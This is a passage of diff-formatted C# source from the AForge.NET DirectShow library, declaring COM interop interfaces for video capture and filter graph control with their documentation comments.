[In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps
|
||||
);
|
||||
}
|
||||
}
|
@ -0,0 +1,112 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface controls certain video capture operations such as enumerating available
|
||||
/// frame rates and image orientation.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMVideoControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the capabilities of the underlying hardware.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to query capabilities from.</param>
|
||||
/// <param name="flags">Get capabilities of the specified pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the video control mode of operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to set the video control mode on.</param>
|
||||
/// <param name="mode">Value specifying a combination of the flags to set the video control mode.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the video control mode of operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the video control mode from.</param>
|
||||
/// <param name="mode">Gets combination of flags, which specify the video control mode.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode );
|
||||
|
||||
/// <summary>
|
||||
/// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
|
||||
/// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
|
||||
/// because of bandwidth availability. This is only available during video streaming.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the frame rate from.</param>
|
||||
/// <param name="actualFrameRate">Gets frame rate in frame duration in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
|
||||
/// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
|
||||
/// availability.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||
/// <param name="maxAvailableFrameRate">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index,
|
||||
[In] System.Drawing.Size dimensions,
|
||||
[Out] out long maxAvailableFrameRate );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a list of available frame rates.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||
/// <param name="listSize">Number of elements in the list of frame rates.</param>
|
||||
/// <param name="frameRate">Array of frame rates in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFrameRateList( [In] IPin pin, [In] int index,
|
||||
[In] System.Drawing.Size dimensions,
|
||||
[Out] out int listSize,
|
||||
[Out] out IntPtr frameRate );
|
||||
}
|
||||
}
|
@ -0,0 +1,161 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The IBaseFilter interface provides methods for controlling a filter.
|
||||
/// All DirectShow filters expose this interface
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IBaseFilter
|
||||
{
|
||||
// --- IPersist Methods
|
||||
|
||||
/// <summary>
|
||||
/// Returns the class identifier (CLSID) for the component object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="ClassID">Points to the location of the CLSID on return.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetClassID( [Out] out Guid ClassID );
|
||||
|
||||
// --- IMediaFilter Methods
|
||||
|
||||
/// <summary>
|
||||
/// Stops the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Stop( );
|
||||
|
||||
/// <summary>
|
||||
/// Pauses the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Pause( );
|
||||
|
||||
/// <summary>
|
||||
/// Runs the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="start">Reference time corresponding to stream time 0.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Run( long start );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the state of the filter (running, stopped, or paused).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="milliSecsTimeout">Time-out interval, in milliseconds.</param>
|
||||
/// <param name="filterState">Pointer to a variable that receives filter's state.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetState( int milliSecsTimeout, [Out] out int filterState );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock for the filter or the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="clock">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetSyncSource( [In] IntPtr clock );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the current reference clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="clock">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetSyncSource( [Out] out IntPtr clock );
|
||||
|
||||
// --- IBaseFilter Methods
|
||||
|
||||
/// <summary>
|
||||
/// Enumerates the pins on this filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumPins">Address of a variable that receives a pointer to the IEnumPins interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumPins( [Out] out IEnumPins enumPins );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the pin with the specified identifier.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="id">Pointer to a constant wide-character string that identifies the pin.</param>
|
||||
/// <param name="pin">Address of a variable that receives a pointer to the pin's IPin interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filterInfo">Pointer to <b>FilterInfo</b> structure.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryFilterInfo( [Out] out FilterInfo filterInfo );
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the filter that it has joined or left the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graph">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL
|
||||
/// if the filter is leaving the graph.</param>
|
||||
/// <param name="name">String that specifies a name for the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a string containing vendor information.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="vendorInfo">Receives a string containing the vendor information.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo );
|
||||
}
|
||||
}
|
@ -0,0 +1,192 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface builds capture graphs and other custom filter graphs.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface ICaptureGraphBuilder2
|
||||
{
|
||||
/// <summary>
|
||||
/// Specify filter graph for the capture graph builder to use.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetFiltergraph( [In] IGraphBuilder graphBuilder );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve the filter graph that the builder is using.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFiltergraph( [Out] out IGraphBuilder graphBuilder );
|
||||
|
||||
/// <summary>
|
||||
/// Create file writing section of the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="type">GUID that represents either the media subtype of the output or the
|
||||
/// class identifier (CLSID) of a multiplexer filter or file writer filter.</param>
|
||||
/// <param name="fileName">Output file name.</param>
|
||||
/// <param name="baseFilter">Receives the multiplexer's <see cref="IBaseFilter"/> interface.</param>
|
||||
/// <param name="fileSinkFilter">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetOutputFileName(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[Out] out IBaseFilter baseFilter,
|
||||
[Out] out IntPtr fileSinkFilter
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Searche the graph for a specified interface, starting from a specified filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">GUID that specifies the search criteria.</param>
|
||||
/// <param name="type">GUID that specifies the major media type of an output pin, or NULL.</param>
|
||||
/// <param name="baseFilter"><see cref="IBaseFilter"/> interface of the filter. The method begins searching from this filter.</param>
|
||||
/// <param name="interfaceID">Interface identifier (IID) of the interface to locate.</param>
|
||||
/// <param name="retInterface">Receives found interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindInterface(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
|
||||
[In] IBaseFilter baseFilter,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID ,
|
||||
[Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Major-type GUID that specifies the media type of the output pin.</param>
|
||||
/// <param name="source">Starting filter for the connection.</param>
|
||||
/// <param name="compressor">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>
|
||||
/// <param name="renderer">Sink filter, such as a renderer or mux filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderStream(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
|
||||
[In] IBaseFilter compressor,
|
||||
[In] IBaseFilter renderer
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Set the start and stop times for one or more streams of captured data.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Major-type GUID that specifies the media type.</param>
|
||||
/// <param name="filter"><see cref="IBaseFilter"/> interface that specifies which filter to control.</param>
|
||||
/// <param name="start">Start time.</param>
|
||||
/// <param name="stop">Stop time.</param>
|
||||
/// <param name="startCookie">Value that is sent as the second parameter of the
|
||||
/// EC_STREAM_CONTROL_STARTED event notification.</param>
|
||||
/// <param name="stopCookie">Value that is sent as the second parameter of the
|
||||
/// EC_STREAM_CONTROL_STOPPED event notification.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ControlStream(
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||
[In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter,
|
||||
[In] long start,
|
||||
[In] long stop,
|
||||
[In] short startCookie,
|
||||
[In] short stopCookie
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Preallocate a capture file to a specified size.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="fileName">File name to create or resize.</param>
|
||||
/// <param name="size">Size of the file to allocate, in bytes.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AllocCapFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||
[In] long size
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Copy the valid media data from a capture file.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="oldFileName">Old file name.</param>
|
||||
/// <param name="newFileName">New file name.</param>
|
||||
/// <param name="allowEscAbort">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>
|
||||
/// <param name="callback">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CopyCaptureFile(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName,
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string newFileName,
|
||||
[In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort,
|
||||
[In] IntPtr callback
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="source">Interface on a filter, or to an interface on a pin.</param>
|
||||
/// <param name="pinDirection">Pin direction (input or output).</param>
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Media type.</param>
|
||||
/// <param name="unconnected">Boolean value that specifies whether the pin must be unconnected.</param>
|
||||
/// <param name="index">Zero-based index of the pin to retrieve, from the set of matching pins.</param>
|
||||
/// <param name="pin">Interface of the matching pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindPin(
|
||||
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
|
||||
[In] PinDirection pinDirection,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||
[In, MarshalAs( UnmanagedType.Bool )] bool unconnected,
|
||||
[In] int index,
|
||||
[Out, MarshalAs( UnmanagedType.Interface )] out IPin pin
|
||||
);
|
||||
}
|
||||
}
|
@ -0,0 +1,37 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
/// <summary>
|
||||
/// The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,
|
||||
/// such as video capture devices, audio capture devices, video compressors, and so forth.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface ICreateDevEnum
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a class enumerator for a specified device category.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="type">Specifies the class identifier of the device category.</param>
|
||||
/// <param name="enumMoniker">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>
|
||||
/// <param name="flags">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags );
|
||||
}
|
||||
}
|
@ -0,0 +1,71 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007-2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface is used by applications or other filters to determine
|
||||
/// what filters exist in the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IEnumFilters
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the specified number of filters in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cFilters">Number of filters to retrieve.</param>
|
||||
/// <param name="filters">Array in which to place <see cref="IBaseFilter"/> interfaces.</param>
|
||||
/// <param name="filtersFetched">Actual number of filters placed in the array.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Next( [In] int cFilters,
|
||||
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters,
|
||||
[Out] out int filtersFetched );
|
||||
|
||||
/// <summary>
|
||||
/// Skips a specified number of filters in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cFilters">Number of filters to skip.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Skip( [In] int cFilters );
|
||||
|
||||
/// <summary>
|
||||
/// Resets the enumeration sequence to the beginning.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reset( );
|
||||
|
||||
/// <summary>
|
||||
/// Makes a copy of the enumerator with the same enumeration state.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumFilters">Duplicate of the enumerator.</param>
|
||||
///
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
///
|
||||
[PreserveSig]
|
||||
int Clone( [Out] out IEnumFilters enumFilters );
|
||||
}
|
||||
}
|
@ -0,0 +1,68 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// Enumerates pins on a filter.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IEnumPins
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves a specified number of pins.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cPins">Number of pins to retrieve.</param>
|
||||
/// <param name="pins">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>
|
||||
/// <param name="pinsFetched">Receives the number of pins retrieved.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Next( [In] int cPins,
|
||||
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins,
|
||||
[Out] out int pinsFetched );
|
||||
|
||||
/// <summary>
|
||||
/// Skips a specified number of pins in the enumeration sequence.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="cPins">Number of pins to skip.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Skip( [In] int cPins );
|
||||
|
||||
/// <summary>
|
||||
/// Resets the enumeration sequence to the beginning.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reset( );
|
||||
|
||||
/// <summary>
|
||||
/// Makes a copy of the enumerator with the same enumeration state.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumPins">Duplicate of the enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Clone( [Out] out IEnumPins enumPins );
|
||||
}
|
||||
}
|
@ -0,0 +1,113 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface provides methods for building a filter graph. An application can use it to add filters to
|
||||
/// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IFilterGraph
|
||||
{
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||
|
||||
/// <summary>
|
||||
/// Removes a filter from the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RemoveFilter( [In] IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Provides an enumerator for all filters in the graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumerator">Filter enumerator.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumFilters( [Out] out IntPtr enumerator );
|
||||
|
||||
/// <summary>
|
||||
/// Finds a filter that was added with a specified name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="name">Name of filter to search for.</param>
|
||||
/// <param name="filter">Interface of found filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||
|
||||
/// <summary>
|
||||
/// Connects two pins directly (without intervening filters).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pinOut">Output pin.</param>
|
||||
/// <param name="pinIn">Input pin.</param>
|
||||
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Reconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Disconnects a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to disconnect.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Disconnect( [In] IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock to the default clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetDefaultSyncSource( );
|
||||
}
|
||||
}
|
@ -0,0 +1,257 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
/// <summary>
|
||||
/// This interface extends the <see cref="IFilterGraph"/> and <see cref="IGraphBuilder"/>
|
||||
/// interfaces, which contain methods for building filter graphs.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"),
|
||||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IFilterGraph2
|
||||
{
|
||||
// --- IFilterGraph Methods
|
||||
|
||||
/// <summary>
|
||||
/// Adds a filter to the graph and gives it a name.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filter">Filter to add to the graph.</param>
|
||||
/// <param name="name">Name of the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
